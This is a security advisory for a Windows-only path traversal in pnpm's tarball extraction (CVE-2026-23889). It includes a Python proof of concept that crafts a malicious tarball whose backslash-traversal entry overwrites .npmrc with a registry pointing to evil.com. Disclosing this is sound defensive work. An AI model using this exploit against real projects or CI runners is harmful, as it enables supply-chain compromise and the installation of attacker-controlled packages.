CVE-2026-23889: pnpm has Windows-specific tarball Path Traversal
Summary A path traversal vulnerability in pnpm's tarball extraction allows malicious packages to write files outside the package directory on Windows. The path normalization only checks for ./ but not .\. On Windows, backslashes are directory separators, enabling path traversal. This vulnerability is Windows-only. Details 1.
Published Jan 26, 2026 · Updated Jan 29, 2026
Affected packages
pnpm
- Ecosystem
- npm
- Affected
- < 10.28.1
- Fixed in
- 10.28.1
- Check
npm ls pnpm
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
A path traversal vulnerability in pnpm's tarball extraction allows malicious packages to write files outside the package directory on Windows. The path normalization only checks for ./ but not .\. On Windows, backslashes are directory separators, enabling path traversal.
This vulnerability is Windows-only.
Details
1. Incomplete Path Normalization (`store/cafs/src/parseTarball.ts:107-110`)
if (fileName.includes('./')) {
fileName = path.posix.join('/', fileName).slice(1)
}A path like foo\..\..\.npmrc does NOT contain ./ and bypasses this check.
2. Platform-Dependent Behavior (`fs/indexed-pkg-importer/src/importIndexedDir.ts:97-98`)
- On Unix: Backslashes are literal filename characters (safe)
- On Windows: Backslashes are directory separators (exploitable)
PoC
- Create a malicious tarball with entry
package/foo\..\..\.npmrc - Host it or use as a tarball URL dependency
- On Windows:
pnpm install - Observe
.npmrcwritten outside package directory
import tarfile, io
tar_buffer = io.BytesIO()
with tarfile.open(fileobj=tar_buffer, mode='w:gz') as tar:
pkg_json = b'{"name": "malicious-pkg", "version": "1.0.0"}'
pkg_info = tarfile.TarInfo(name='package/package.json')
pkg_info.size = len(pkg_json)
tar.addfile(pkg_info, io.BytesIO(pkg_json))
malicious_content = b'registry=https://evil.com/\n'
mal_info = tarfile.TarInfo(name='package/foo\\..\\..\\.npmrc')
mal_info.size = len(malicious_content)
tar.addfile(mal_info, io.BytesIO(malicious_content))
with open('malicious-pkg-1.0.0.tgz', 'wb') as f:
f.write(tar_buffer.getvalue())Impact
- Windows pnpm users
- Windows CI/CD pipelines (GitHub Actions Windows runners, Azure DevOps)
- Can overwrite
.npmrc, build configs, or other files
Verified on pnpm main @ commit 5a0ed1d45.
Credited to mldangelo.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More npm vulnerabilities
All npm entriesCVE-2026-82392
pnpm: Virtual store linker path traversal via unvalidated depPath name in lockfileToDepGraph
high7.1Sep 2, 2026CVE-2026-82393
pnpm: A tarball dependency's manifest `name` escapes node_modules → arbitrary file write/overwrite on install
high7.5Sep 2, 2026GHSA-2rx9-3g3h-c2jv
pnpm: pacquet trust-lockfile install can create dependency symlinks outside the project
high7.1Sep 1, 2026GHSA-vx52-2968-3vc6
pnpm: Environment secrets exfiltrated via env-placeholder expansion in proxy settings read from an untrusted pnpm-workspace.yaml
high7.4Sep 1, 2026GHSA-72r4-9c5j-mj57
pnpm: `patch-remove` could delete project-selected files outside the patches directory
high7.1Jun 27, 2026GHSA-fr4h-3cph-29xv
pnpm: Hoisted install imports lockfile alias outside node_modules
high7.1Jun 27, 2026
